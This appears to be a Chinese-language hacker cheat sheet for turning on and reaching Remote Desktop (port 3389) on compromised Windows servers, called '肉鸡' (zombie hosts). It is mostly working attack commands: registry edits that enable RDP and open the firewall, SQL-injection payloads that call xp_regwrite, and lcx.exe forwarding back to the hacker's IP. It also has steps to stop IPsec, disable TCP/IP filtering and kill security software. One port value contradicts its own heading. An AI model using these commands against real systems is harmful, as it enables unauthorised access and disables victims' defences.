windows 3389 远程
3389常用命令：
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.查看终端一技巧
其实 可以首先可以 使用命令 tasklist /svc 查看, 找到服务名称为 Terms service 所对应的 ID, 在使用命令 netstat -ano
3.开启3389终端
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4.更改端口为2008：(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0xd3d /f
5.取消系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled:@xpsp2res.dll,-22009 /f
6.解决终端超出了最大连接数的命令
mstsc /v:219.232.233.155 /console
7.MSSQL开启关闭3389方法：
开启3389的SQL语句：
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD','0'
id=100;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关闭3389的SQL语句：
id=100;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;--
开了3389我们却无法连接：
1：服务器在内网。
lcx.exe转发：
黑客本地：lcx.exe -listen 80 3389
肉鸡：lcx.exe -listen 黑客本地IP 80 肉鸡IP 3389
2：做了tcp/ip筛选。
cmd命令：
cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip #导出注册表里关于TCP/IP筛选的第一处
cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip #导出注册表里关于TCP/IP筛选的第二处
cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip #导出注册表里关于TCP/IP筛选的第三处 然后回到c盘1.reg,2.reg,3.reg
把1.reg,2.reg,3.reg下载回来到自己的硬盘里面编辑一下，找到EnableSecurityFilters这个字段看看dword后面的键值是否为00000000，如果为00000001就说明管理员做了tcp/ip筛选， 我们只要把1改成0就行了，2.reg和3.reg一样的改。
3：做了ip安全策略。
执行cmd命令： cmd /c net stop policyagent 将IPSEC Services服务停了它。再连3389。
.上传mt.exe到目标服务器可执行目录
执行命令：mt.exe -filter off(关闭TCP/IP策略)
4：防火墙。 安全狗。安全软件...
杀掉防火墙，安全够，等安全软件进程....
